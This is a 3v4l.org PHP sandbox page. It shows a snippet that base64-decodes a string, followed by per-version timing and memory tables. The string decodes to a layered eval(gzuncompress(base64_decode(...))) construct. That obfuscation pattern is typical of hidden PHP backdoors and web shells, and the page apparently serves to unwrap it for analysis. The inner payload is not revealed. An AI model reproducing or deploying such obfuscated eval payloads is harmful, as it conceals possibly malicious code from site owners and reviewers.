3v4l.org

run code in 300+ PHP versions simultaneously
<?php var_dump(base64_decode('ZXZhbChnenVuY29tcHJlc3MoYmFzZTY0X2RlY29kZSgnZU5xZFUxRnJnekFRL2l0N0dLVENHTGF1Z3pCOGNBOVRwSE9RZ1dhT0lqRzZEdEVOMm82aHYzNjlpN1dsbWxuNjhpVnkzMzEzOTEyOGRoY3ZqODdpOVowazJ6b2hTOXRacjBVOVNjVW12NzlMc2x4K1ovbUV4SnhjM1JLL0Jrd3QvME5XNFc4S0g1WnZpbWorUll5Yms0eU0reERmeElCdVdLUXpWdlpaY1ZVcVJrakwzQzNoMW1UZXM5MW5DcVh6MmVwaEp4SmdDa0Fid0RpYW0vMU1qRlNzNGxhQUJUS0FKenBESmU0M0lxSS8vU3hwUVpqVmdnY20xbG5aOXJDMnRCZ2Npam5JT2pEZ0NBQjBUUFNVNFhRNHNkS0UyN0J1M2JHMFBlNDFkLzJweW5ybWtSNU90c0xDV2sxMGFIejJmNk90eStmTnF0VlJlMUJhNk4zQkVZMGVabmo0cXN0NFNyZHZuQldZNldnNzhGb205b3ExaWgzN3pHNjY5M3JoaE8wV1I5dytlWSs0NzZQS0k3cWRjNE5NQVgrZkd5cW1ZVHo4QWVDS0tOMD0nKSkpOyA'));

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.40.0070.00718.68
8.3.30.0070.01120.21
8.3.20.0040.00420.29
8.3.10.0030.00622.14
8.3.00.0040.00422.47
8.2.170.0070.00722.96
8.2.160.0140.00020.40
8.2.150.0040.00424.18
8.2.140.0030.00524.66
8.2.130.0050.00326.16
8.2.120.0070.00020.80
8.2.110.0050.00522.13
8.2.100.0110.00017.42
8.2.90.0000.00818.75
8.2.80.0030.00619.28
8.2.70.0050.00317.50
8.2.60.0050.00317.90
8.2.50.0000.00818.07
8.2.40.0030.00717.96
8.2.30.0000.00819.43
8.2.20.0000.00717.41
8.2.10.0060.00317.43
8.2.00.0000.00817.55
8.1.270.0050.00323.99
8.1.260.0040.00426.35
8.1.250.0070.00028.09
8.1.240.0000.00923.96
8.1.230.0040.00718.94
8.1.220.0040.00417.74
8.1.210.0040.00418.77
8.1.200.0090.00017.35
8.1.190.0050.00317.41
8.1.180.0030.00618.10
8.1.170.0030.00618.64
8.1.160.0060.00318.84
8.1.150.0050.00318.38
8.1.140.0000.00717.39
8.1.130.0000.00717.82
8.1.120.0000.00817.32
8.1.110.0040.00417.22
8.1.100.0050.00317.25
8.1.90.0030.00317.32
8.1.80.0040.00417.36
8.1.70.0030.00317.31
8.1.60.0060.00617.34
8.1.50.0040.00417.35
8.1.40.0040.00417.28
8.1.30.0040.00417.39
8.1.20.0080.00017.52
8.1.10.0040.00417.39
8.1.00.0060.00317.20
8.0.300.0070.00018.77
8.0.290.0000.00716.93
8.0.280.0000.00718.31
8.0.270.0030.00317.17
8.0.260.0030.00316.63
8.0.250.0000.00616.87
8.0.240.0040.00416.70
8.0.230.0030.00316.82
8.0.220.0080.00016.78
8.0.210.0030.00316.65
8.0.200.0000.00716.71
8.0.190.0030.00516.84
8.0.180.0030.00316.67
8.0.170.0000.00816.83
8.0.160.0000.00816.64
8.0.150.0000.00716.72
8.0.140.0040.00416.76
8.0.130.0000.00513.21
8.0.120.0000.00716.76
8.0.110.0000.00716.70
8.0.100.0040.00416.82
8.0.90.0000.00716.72
8.0.80.0110.00916.74
8.0.70.0000.00716.67
8.0.60.0040.00416.71
8.0.50.0040.00416.59
8.0.30.0100.00916.98
8.0.20.0080.01117.40
8.0.10.0000.00716.82
8.0.00.0110.01016.58
7.4.330.0000.00415.03
7.4.320.0000.00616.46
7.4.300.0000.00616.39
7.4.290.0060.00016.37
7.4.280.0060.00316.36
7.4.270.0030.00516.39
7.4.260.0000.00513.14
7.4.250.0040.00416.43
7.4.240.0020.00516.38
7.4.230.0000.00716.28
7.4.220.0150.00916.50
7.4.210.0040.01016.47
7.4.200.0030.00516.58
7.4.190.0000.00716.58
7.4.160.0080.00916.26
7.4.150.0110.00617.40
7.4.140.0100.00717.86
7.4.130.0110.00616.30
7.4.120.0080.00816.47
7.4.110.0030.01616.17
7.4.100.0090.00616.36
7.4.90.0110.00916.45
7.4.80.0140.00319.39
7.4.70.0100.00716.16
7.4.60.0130.00416.46
7.4.50.0000.00716.18
7.4.40.0040.01122.77
7.4.30.0100.00716.50
7.4.00.0000.01614.40
7.3.330.0030.00312.89
7.3.320.0050.00012.98
7.3.310.0000.00716.20
7.3.300.0040.00415.98
7.3.290.0140.00016.08
7.3.280.0090.00516.14
7.3.270.0100.01017.40
7.3.260.0120.00716.39
7.3.250.0090.01116.22
7.3.240.0090.00616.17
7.3.230.0030.01516.55
7.3.210.0060.00916.12
7.3.200.0120.00919.39
7.3.190.0090.01416.35
7.3.180.0150.00016.25
7.3.170.0140.00916.31
7.3.160.0090.00816.08
7.3.120.0070.00714.74
7.3.10.0090.00616.48
7.3.00.0050.01116.25
7.2.330.0120.00416.39
7.2.320.0070.01116.39
7.2.310.0030.01416.15
7.2.300.0060.01016.50
7.2.290.0040.01316.29
7.2.130.0100.00516.50
7.2.120.0050.00816.19
7.2.110.0120.00516.38
7.2.100.0050.01016.48
7.2.90.0090.00916.50
7.2.80.0110.00916.49
7.2.70.0130.00516.39
7.2.60.0080.01016.45
7.2.50.0130.00716.32
7.2.40.0090.01116.48
7.2.30.0090.01116.55
7.2.20.0090.00816.38
7.2.10.0130.00616.49
7.2.00.0110.00717.41
7.1.250.0140.00515.23
7.1.200.0000.01015.58
7.1.100.0000.01118.02
7.1.70.0000.00716.90
7.1.60.0070.00719.21
7.1.50.0070.01716.76
7.1.00.0070.07322.31
7.0.200.0400.01114.64
7.0.140.0030.07322.08
7.0.60.0000.08720.04
7.0.50.0070.08017.79
7.0.40.0030.06019.96
7.0.30.0300.07720.04
7.0.20.0230.03320.13
7.0.10.0270.04320.13
7.0.00.0030.05320.29
5.6.280.0070.07020.90
5.6.210.0100.05020.76
5.6.200.0070.05718.12
5.6.190.0130.08020.41
5.6.180.0200.08020.43
5.6.170.0200.06320.31
5.6.160.0130.07320.37
5.6.150.0070.07018.18
5.6.140.0100.07718.19
5.6.130.0070.07018.23
5.6.120.0100.06321.02
5.6.110.0030.08321.10
5.6.100.0130.05321.07
5.6.90.0070.05720.97
5.6.80.0100.07320.53
5.6.70.3630.04020.42
5.5.350.0030.07320.40
5.5.340.0030.05718.02
5.5.330.0170.07720.37
5.5.320.0430.05720.32
5.5.310.0200.03720.27
5.5.300.0100.07718.02
5.5.290.0200.06717.98
5.5.280.0070.04720.72
5.5.270.0030.08020.79
5.5.260.0130.08020.79
5.5.250.0070.06020.69
5.5.240.0000.04720.23
5.4.450.0030.07319.57
5.4.440.0030.07719.56
5.4.430.0030.07019.58
5.4.420.0100.06319.41
5.4.410.0070.06019.27
5.4.400.0030.07019.09
5.4.390.0030.06718.92
5.4.380.0030.07319.10
5.4.370.0000.07019.24
5.4.360.0100.07719.13
5.4.350.0070.06319.06
5.4.340.0070.07318.88
5.4.320.0030.06319.16
5.4.310.0070.07019.20
5.4.300.0030.07019.16
5.4.290.0070.07019.08
5.4.280.0030.07019.25
5.4.270.0030.07718.93
5.4.260.0030.07719.09
5.4.250.0000.07318.89
5.4.240.0100.07019.07
5.4.230.0030.06018.92
5.4.220.0030.07718.78
5.4.210.0100.04719.15
5.4.200.0070.06018.92
5.4.190.0030.07019.08
5.4.180.0070.06719.12
5.4.170.0030.06719.12
5.4.160.0070.06719.15
5.4.150.0030.07018.78
5.4.140.0100.06716.26
5.4.130.0070.06716.15
5.4.120.0000.06316.54
5.4.110.0000.06016.23
5.4.100.0030.06016.30
5.4.90.0000.05316.42
5.4.80.0030.06316.39
5.4.70.0070.07016.44
5.4.60.0070.06316.42
5.4.50.0030.05016.36
5.4.40.0070.07016.36
5.4.30.0070.07016.31
5.4.20.0030.06316.36
5.4.10.0100.04716.27
5.4.00.0070.06715.68
5.3.290.0070.03714.61
5.3.280.0030.07314.62
5.3.270.0030.07014.62
5.3.260.0070.07714.54
5.3.250.0000.07314.47
5.3.240.0000.07714.51
5.3.230.0030.07314.42
5.3.220.0030.07314.59
5.3.210.0100.05714.41
5.3.200.0030.05714.65
5.3.190.0070.07714.51
5.3.180.0000.06314.40
5.3.170.0000.07314.54
5.3.160.0030.05314.39
5.3.150.0030.07314.39
5.3.140.0030.05014.38
5.3.130.0030.07714.40
5.3.120.0000.07714.59
5.3.110.0070.04314.52
5.3.100.0070.06313.89
5.3.90.0070.07313.89
5.3.80.0000.07714.11
5.3.70.0030.07314.04
5.3.60.0000.06713.91
5.3.50.0000.07313.88
5.3.40.0070.07713.77
5.3.30.0100.03713.85
5.3.20.0000.05013.48
5.3.10.0130.06013.43
5.3.00.0000.06313.60
5.2.170.0000.05012.35
5.2.160.0030.05712.35
5.2.150.0030.06012.35
5.2.140.0030.05312.35
5.2.130.0000.06012.35
5.2.120.0070.06012.35
5.2.110.0000.05712.35
5.2.100.0000.06312.35
5.2.90.0070.05312.35
5.2.80.0070.05012.35
5.2.70.0000.06012.35
5.2.60.0030.06012.35
5.2.50.0070.06012.35
5.2.40.0000.06012.35
5.2.30.0000.06012.35
5.2.20.0070.05312.35
5.2.10.0070.04712.35
5.2.00.0030.04712.35
5.1.60.0030.05312.35
5.1.50.0000.05012.35
5.1.40.0070.05012.35
5.1.30.0030.05312.35
5.1.20.0030.05312.35
5.1.10.0030.05312.35
5.1.00.0030.05312.35
5.0.50.0000.04012.35
5.0.40.0000.04312.35
5.0.30.0030.06312.35
5.0.20.0000.04012.35
5.0.10.0030.03712.35
5.0.00.0030.06312.35
4.4.90.0070.03312.35
4.4.80.0000.03312.35
4.4.70.0000.03712.35
4.4.60.0030.03012.35
4.4.50.0000.03712.35
4.4.40.0000.05012.35
4.4.30.0100.02712.35
4.4.20.0000.03312.35
4.4.10.0000.04012.35
4.4.00.0030.05712.35
4.3.110.0000.03712.35
4.3.100.0070.03012.35
4.3.90.0000.03312.35
4.3.80.0000.05012.35
4.3.70.0030.03012.35
4.3.60.0000.03012.35
4.3.50.0030.02312.35
4.3.40.0030.04712.35
4.3.30.0000.02712.35
4.3.20.0030.03712.35
4.3.10.0000.03312.35
4.3.00.0000.03012.35

preferences:
37.7 ms | 400 KiB | 5 Q